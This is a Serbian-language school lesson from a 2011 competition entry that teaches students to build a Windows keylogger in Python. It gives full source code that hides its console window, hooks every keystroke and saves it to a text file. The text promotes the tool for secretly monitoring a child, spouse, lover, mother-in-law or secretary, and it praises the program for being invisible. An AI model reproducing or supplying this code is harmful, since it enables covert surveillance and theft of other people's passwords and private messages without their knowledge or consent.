Takmičenje na portalu www.nasaskola.net
"biramo najbolju lekciju"
engleski jezik i računarstvo i informatika,
mart 2011. godine,
Osnovni primer keylogginga u Python-u,
Računarstvo i informatika,
Dimitrije Janković, IV-4
Dragan Ilić,
Prva niška gimnazija "Stevan Sremac"
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić
1. 1/5
Osnovni primer
KeyLogging-a
u Pyton-u
Pokušćemo da Vam dočaramo samo delić onoga što sa moćnim programskim
jezicima možete da učinite.
Da li ste ikada pomislili da Vam ukućani u vašem odsustvu diraju personalni
računar ili čitaju privatne poruke, kradu Vašu intimu….?!!!
Tome je sada kraj!!!
- Par reči o KeyLoggingu.
KeyLogging je akcija praćenja i čuvanja redosleda unetih karaktera sa tastature.
U običajenom prikrivenom režimu, tako da je osoba koja koristi tastaturu
nesvesna da je špijunirana. Postoji više načina nadzora nečije tastature a
najstriktnija podela bi bila na hardware osnove i software osnove.
KeyLogger koji radi na hardware principu je minijaturni aparat koji se priključi
na kabl tastature i u sopstvenoj memoriji presreće i zapisuje podatke koje
korisnik unosi. Ovaj metod se slabo primenjuje u praksi, zbog lake uočljivosti
uređaja na kablu.
2. 2/5
Software keyloggeri, su vrsta software (programa), koja “virtuelno” presreće
podatke, zapisuje ih i na njima izvodi dodatne potrebne operacije (pamti, kopira,
skladišti, briše). Ovaj program je superiorniji u odnosu na svog hardware brata
blizanca zbog teže detekcije.
Savršena aplikacija za praćenje virtuelnih aktivnosti Vašeg deteta, žene,
ljubavnice, tašte, sekretarice i svih drugi interesantnih osoba…
U narednom delu saznaćete kako možete kreirati sopstvenu KeyLogger
aplikaciju.
Aplikaciju ćemo kreirati u Python programskom jeziku. Neophodno je preuzeti
Python kompajler. U ovom slučaju sve neophodne uslove za kreiranje ove
aplikacije obezbedićemo Vam mi.
• Pyton 2.6.2
• Pywin32-214.win32-py2.6
• pyHook-1.5.1.win32-py2.6
Ovim redosledom morate da instalirate aplikacije.
3. 3/5
Nakon uspešne instalacije započećemo kreiranje.
Iz start menija izabraćemo Python 2.6 -> IDLE (Pyton GUI). Iz meni bara
izaberemo File -> New Window. Sada iskucavamo kod.
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import os.path
import os
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
exist = os.path.isfile("text.txt")
if bool(exist) == False:
textfile = file('text.txt','wt')
def OnKeyboardEvent(event):
if event.Ascii==5:
os.system('taskkill /im Python.exe /f')
_exit(1)
if event.Ascii != 0 or 8:
f=open('text.txt','r')
buffer=f.read()
f.close()
f=open('text.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Sledi screenshoot sa detaljnim obrazloženjem svake linije koda.
4. 4/5
Nakon toga aplikaciju snimiti. File -> SaveAs -> ImePrograma.py
OBAVEZNA JE EKSTENZIJA!
Pošto ste uspešno kreirali aplikaciju, pokrenite je duplim klikom. Svi zapisi biće
smeštene u fajlu “text.txt”. Aplikacija prestaje sa radom kada pritisnete tastre
CTRL+E.
5. 5/5
Zaključak
Ovaj program Vam omugućava uvid u korišćenje računara. Program je potupno
nevidljiv i to je njegova prednost. Iako se keylogeri nalaze na samom vrhu liste
softvera hakera, nadamo se da Vam je ova kratka lekcija pokazala da keyloger
može zapravo biti i vrlo korisno oružje za borbu protiv zloupotrebe interneta i
kontrole u sopstvenoj okolini.
Pouka: "Nije sve tako crno kao što izgleda..."
Literatura
• www.google.com
• www.youtube.com
• www.wikipedia.com
• www.python.org